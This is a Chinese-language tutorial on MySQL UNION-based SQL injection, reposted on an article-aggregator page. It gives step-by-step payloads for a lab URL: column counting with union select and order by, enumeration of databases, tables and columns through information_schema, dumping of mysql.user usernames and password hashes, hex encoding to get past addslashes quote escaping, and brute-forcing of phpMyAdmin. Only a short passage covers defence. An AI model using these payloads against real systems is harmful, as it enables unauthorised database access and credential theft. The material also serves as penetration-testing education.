sql union 注入

sql union 注入

一, 参数分类

根据可控参数的类型不同, 对注入类型分类:

1. 数字型select * from table where id=1
2. 字符型select * from table where username='root'
3. 搜索型select * from table where id like '%root%'
4. 关于注释:注入时, 在查询参数中使用注释需要url编码, 例如:'#'       使用 '%23''--空格'  使用 '--+''/* */'
  • 数字型, 单引号(') 返回异常, and 1=1 返回正常, and 1=2 返回异常, 说明可能有注入点.

二, 注入

1. 探测存在注入的可能
通过 and 1=1, and 1=2 的输入, 如果结果不一致, 说明语句被数据库执行了.
2. 探测有效列数

union 注入首先需要探测有效的列数, 使整体 union 语句有效.

案例 url :

http://192.168.112.200/security/read.php?id=1

情景:

这个url的页面显示的是一本书的两条信息, 分别是 [书名] 与 [标题],
在服务器查询的表是 [book], 字段名是 [bookname], [title] .
假设 [book] 表一共有6个字段, 其中书名与标题分别是 第 3 列, 第 4 列.

方式1: 使用 union 探测列数
  • 因为 union 语句的规则要求, union 前后两个表的列数必须相同才能执行, 所以只有当 union 后面的 select 语句所写的列数与前半段查询的那个表的列数一样才能正常执行.
  • 前半段语句, 将 id 设置为 -1 , 目的是让union前面的语句查询不出结果, 并且让整体sql语句符合语法规则, 可以顺利执行.
  • 后半段语句, union 后面 select 通过数字列号猜测最多列数, 从少到多, 每次猜测后, 发送一次请求, 观察页面变化.
  • 如果错了会报出代码异常或页面内容有变化,
    如果猜对了页面正常显示数据, 并且页面中, 原本显示 [书名] 与 [标题] 的位置上, 会代替它们显示对应列的数字编号 3, 4.
    那么3, 4 这两个位置就是可以利用的注入点, 用于后续显示我们需要的数据.

测试过程:

    http://192.168.112.200/security/read.php?id=-1 union select 1, 2 # 失败http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 4 # 失败http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 4, 5, 6 # 成功
方式2: 使用 order by 探测列数
  • 因为 order by 可以使用数字代表对应的字段做排序, 例如根据第1列排序:
    select * from table order by 1
  • 如果超出列数的范围则报错, 根据这个特点来测试表的最大列数,
  • 注意前面id的值必须是有效的, 使页面能够正常显示, 因为我们需要测试的是后面order by n 是否成功, 这与 union 注入不同:
    id=1 order by 20 # 失败id=1 order by 10 # 失败id=1 order by 8 # 失败id=1 order by 7 # 失败id=1 order by 6 # 成功, 说明最多是6列
3. union 简单注入测试

得到有效列数之后, 就可以进行基本的注入测试了, 比如执行一些 sql 函数, 来获取数据库的基本信息.
因为前面已经探测出列号 3, 4 位置上可以在页面显示, 所以利用这两个位置显示我们需要的数据. 例如:

    # 在网页上显示出当前查询的 数据库名 和 用户名http://.../read.php??id=-1 union select 1,2,database(),user(),5,6
4. 注入获取服务器上所有数据库, 表, 列, 账户等数据.

利用 mysql 内置的 information_schema 数据库查询

  • information_schema.schemata 表, 记录所有数据库名
    字段:
    schema_name 数据库名

  • information_schema.tables 表, 记录所有表名
    字段:
    table_schema 数据库名
    table_name 表名

  • information_schema.columns 表, 记录所有列名
    字段:
    table_schema 数据库名
    table_name 表名
    column_name 列名

案例:

  • 查询所有数据库的名称
    方式1: 从 information_schema.schemata 表查询(包括不含表的空数据库)

    ?id=-1 union select 1,2,3, 
    (select group_concat(schema_name) from information_schema.schemata) , 5,6
    

    方式2: 从 information_schema.tables 表查询(不包括空数据库)

    ?id=-1 union select 1,2,3, 
    (select group_concat( distinct( table_schema ) ) from information_schema.tables) , 5,6
    
  • 查询已知库中的表名, 使用 limit n, m 每次查询一个表:

    # 第一张表:
    ?id=-1 union select 1,2,3, 
    (select table_name from information_schema.tables where table_schema='learn' limit 0,1) ,5,6
    # 第二张表:
    ?id=-1 union select 1,2,3, 
    (select table_name from information_schema.tables where table_schema='learn' limit 1,1) ,5,6
    # 第三张表:
    ?id=-1 union select 1,2,3, 
    (select table_name from information_schema.tables where table_schema='learn' limit 2,1) ,5,6
    
  • (技巧) 使用 group_concat() 函数, 将多行数据合并为一行字符串, 显示所有表名, 逗号间隔

    # 显示 learn 库的所有表
    ?id=-1 union select 1,2,3, 
    (select group_concat(table_name) from information_schema.tables where table_schema='learn') , 5,6
    
  • 使用 group_concat() 函数合并所有行上的数据为一行字符串, 逗号间隔

    # 显示 learn 库, user 表的所有列名
    ?id=-1 union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_schema='learn' and table_name='user'),5,6
    
  • 使用内置表 mysql.user 查询 root 账户信息

    # mysql.user 表中记录所有数据库账户信息
    ?id=-1 union select 1,2,3, (select concat(user, '|', password) from mysql.user limit 1) , 5,6
    
  • (技巧) 使用 group_concat() 函数 与 concat_ws() 函数, 合并多行多列数据

    # concat_ws() 指定分隔符, 合并多列数据为一行字符串
    ?id=-1 union select 1,2,3, (select concat_ws("|", user, password, host) from mysql.use limit 1), 5,6
    # 与 group_concat() 组合, 先将多列数据连接为一行字符串, 在合并多行字符串.
    ?id=-1 union select 1,2,3, (select group_concat( concat_ws("|", user, password, host) ) from mysql.user ) , 5,6
    

三, 转16进制绕过, 对于后台代码对单引号做了转义处理的情况

  • 原因:
    如果后台代码对提交的参数中的单引号做了转义处理: addslashes($_GET[‘id’])
    此时注入的sql中单引号不起作用: where table_schema=‘learn’

  • 解决办法:
    将字符串转16进制再注入, 例如:

    # 普通字符串与十六进制相互转换select hex('learn')        结果: 6C6561726Eselect unhex('6C6561726E') 结果: learn
    
  • 注入:

    # 使用十六进制代替原本的普通字符串, 绕过单引号转义.
    # where table_schema='learn'
    ?id=-1 union select 1,2,3, 
    (select group_concat(table_name) from information_schema.tables where table_schema=0x6C6561726E), 5,6
    

四, 数据库中出现phpmyadmin的情况

  • 攻击:
    尝试访问 /phpmyadmin, 如果配置认证方式为默认的: config, 则从网页可以直接进入后台,
    如果认证方式为: http, 则需要输入用户名和密码登录, 可爆破.

  • 防御:
    禁用phpmyadmin远程访问, 例如xampp环境:

    # 配置文件路径: 
    /opt/lampp/etc/extra/httpd-xampp.conf
    
    # since XAMPP 1.4.3
    <Directory "/opt/lampp/phpmyadmin">AllowOverride AuthConfig LimitRequire local     # 只允许本地访问# Require all granted # 允许所有IP访问ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var
    </Directory>
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/101530.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【ARM Coresight 系列文章19 -- Performance Monitoring Unit(性能监测单元)

文章目录 1.1 PMU 介绍1.2 PMU 寄存器1.2.1 PMU 管理寄存器1.2.2 PMU 外设识别寄存器1.2.3 PMU 组件识别寄存器1.3 性能监控事件1.3.1 Cortex-A9 特定事件1.1 PMU 介绍 许多体系结构都包含 PMU(Performance Monitoring Unit)硬件,用于跟踪、计数系统内部的一些底层硬件事件…

[代码随想录]二叉树篇

文章目录 1. 二叉树之层序遍历1.1 144-二叉树的前序遍历1.2 94-二叉树的中序遍历1.3 145-二叉树的后序遍历1.4 102-二叉树的层序遍历1.5 107-二叉树的层序遍历II1.6 199-二叉树的右视图1.7* 637-二叉树的层平均值1.8* 429-N叉树的层序遍历1.9 515-在每个树行中找最大值1.10* 11…

k8s修改集群IP--重置集群

原来IP地址 192.168.10.138 k8s-master 192.168.10.139 k8s-node1 192.168.10.140 k8s-node2 新IP地址 192.168.10.148 k8s-master 192.168.10.149 k8s-node1 192.168.10.150 k8s-node2 cp -Rf /etc/kubernetes/ /etc/kubernetes-bak pki 证书目录保留下来&#xff1a; rm -rf …

Ubuntu18.04下载安装基于使用QT的pcl1.13+vtk8.2,以及卸载

一、QVTKWidget、QVTKWidget2、QVTKOpenGLWidget、QVTKOpenGLNativeWidget 区别 1.Qt版本 Qt5.4以前版本&#xff1a;QVTKWidget2/QVTKWidget。 Qt5.4以后版本&#xff1a;QVTKOpenGLWidget/QVTKOpenGLWidget。 2.VTK版本(Qt版本为5.4之后) 在VTK8.2以前的版本&#xff1a;QVT…

Springboot——集成jodconverter做文档转换

文章目录 前言jodconverter 简介下载安装 libreoffice代码演示1、创建springboot项目工程并引入依赖2、配置3、准备一个docx模板4、编写测试代码 运行后的样式linux 环境下安装 libreoffice 前言 公司项目开发中&#xff0c;早期使用docx4j进行word转pdf&#xff0c;出现了很多…

Linux C/C++实现SSL的应用层VPN (MiniVPN)

SSL协议和VPN&#xff08;虚拟私人网络&#xff09;原理是网络安全领域中的两个重要概念。 SSL协议&#xff0c;全称安全套接层&#xff08;Secure Sockets Layer&#xff09;&#xff0c;是一种广泛应用于互联网的安全协议&#xff0c;主要在两个通信端点之间建立安全连接&am…

网络安全工程师最详细学习和职业规划路线(书籍推荐和导图下载)

网络安全行业热火朝天&#xff0c;但我们很少看到这个领域相关职业路线的规划&#xff0c;这一方面是由于这个行业还比较年轻&#xff0c;还没有完全建立职业路径&#xff0c;另一方面也是因为高端职位以前比较少&#xff0c;很少有人到达顶峰&#xff0c;所以难以总结。 但随…

计算机毕业设计 it职业生涯规划系统的设计与实现 Javaweb项目 Java实战项目 前后端分离 文档报告 代码讲解 安装调试

&#x1f34a;作者&#xff1a;计算机编程-吉哥 &#x1f34a;简介&#xff1a;专业从事JavaWeb程序开发&#xff0c;微信小程序开发&#xff0c;定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事&#xff0c;生活就是快乐的。 &#x1f34a;心愿&#xff1a;点…

动手学强化学习第2章多臂老虎机

2.1简介 多臂老虎机问题可以被看作简化版的强化学习问题。但是其只有动作和奖励没有状态信息&#xff0c;算是简化版的强化学习问题。 2.2问题介绍 2.2.1问题定义 在多臂老虎机(MAB)问题中&#xff0c;有一个有K根拉杆的老虎机&#xff0c;拉动每一根拉杆都对应一个关于奖励…

深度思考面试常考sql题

1 推荐工具 在线运行SQL 2 阿里一面 3 百度一面 4 一道百度校招二面sql题 力推一个在线运行sql的网站&#xff1a;https://www.json.cn/runcode/run_sql/ 有一张学生表stu&#xff0c;包含sid, std_name,course_name,score等几个字段&#xff0c;数据如下&#xff0c;要求…

在 centos7 上安装Docker

1、检查linux内核 Docker 运行在 CentOS 7 上&#xff0c;要求系统为64位、系统内核版本为 3.10 以上。 Docker 运行在 CentOS-6.5 或更高的版本的 CentOS 上&#xff0c;要求系统为64位、系统内核版本为 2.6.32-431 或者更高版本。 uname -r 2、使用 root 权限登录 Centos…

Springboot 集成 Redis集群配置公网IP连接报私网IP连接失败问题

1、问题&#xff1a;在Springboot 集成 Redis集群配置公网IP连接报私网IP连接失败&#xff0c;一直报私有IP连接失败 14 14:57:49.180 WARN 22012 --- [ioEventLoop-6-4] i.l.c.c.topology.ClusterTopologyRefresh : Unable to connect to [192.168.0.19:6384]: connection …

vue、uniapp实现组件动态切换

在Vue中&#xff0c;通过使用动态组件&#xff0c;我们可以实现组件的动态切换&#xff0c;从而达到页面的动态展示效果。 vue 中 component组件 is属性 功能描述 例如&#xff1a;有多个tabs标签&#xff0c;如&#xff1a;推荐、热点、视频等。用户点击标签就会切换到对应组…

docker应用记录总结

一、前言 docker这类部署工具&#xff0c;久而久之不使用非常容易忘记&#xff0c;甚至连操作命令都容易忘记。网上也有比较全的docker使用教程。这里做一个记录总结&#xff0c;纯属是温故知新。 二、docker部署应用 1、docker印象 docker首先让我想到的是是虚拟化技术&…

使用Python构造VARIMA模型

简介 VARMA(p,q)结合了VAR和VMA模型&#xff0c;其中p是向量自回归(VAR)模型的滞后期数&#xff0c;q是VMA模型的移动平均的阶数。 VARMA是ARMA的推广&#xff0c;它将ARMA模型扩展到多个时间序列变量的情况&#xff0c;通过VAR和VMA的线性组合来描述多个时间序列变量之间的联…

踩雷react-useRef钩子函数

今天测试提了一个bug&#xff0c;之前做的有个需求&#xff0c;在触发事件发起请求后&#xff0c;成功响应返回的新的数据没有第一时间渲染到网页上。 方法也都成功更新了数据&#xff0c;就是渲染会慢1-2分钟&#xff0c;排错排了老半天&#xff0c;最后找到了原因。 一般情…

系统架构设计:18 论基于DSSA的软件架构设计与应用

目录 一 特定领域软件架构DSSA 1 DSSA 2 DSSA的基本活动和产物 (1)DSSA的基本活动和产物

node.js知识系列(4)-每天了解一点

目录 11. 异步文件操作文件读取文件写入 12. 包管理器&#xff08;npm&#xff09;13. 子进程14. 事件发射器&#xff08;EventEmitter&#xff09;15. 异步编程和回调16. Node.js 集成测试工具和框架17. Express.js 中间件的 HTTP 请求流程18. 文件上传和验证19. Express.js 中…

SpringBoot和Hibernate——如何提高数据库性能

摘要&#xff1a;本文由葡萄城技术团队发布。转载请注明出处&#xff1a;葡萄城官网&#xff0c;葡萄城为开发者提供专业的开发工具、解决方案和服务&#xff0c;赋能开发者。 前言 在软件开发领域&#xff0c;性能是重中之重。无论您是构建小型 Web 应用程序还是大型企业系统…

单目标应用:遗传算法(Genetic Algorithm,GA)求解微电网优化MATLAB

一、微网系统运行优化模型 微电网优化模型介绍&#xff1a; 微电网多目标优化调度模型简介_IT猿手的博客-CSDN博客 二、遗传算法GA 遗传算法&#xff08;Genetic Algorithm&#xff0c;GA&#xff09;起源于对生物系统所进行的计算机模拟研究&#xff0c;是一种随机全局搜索…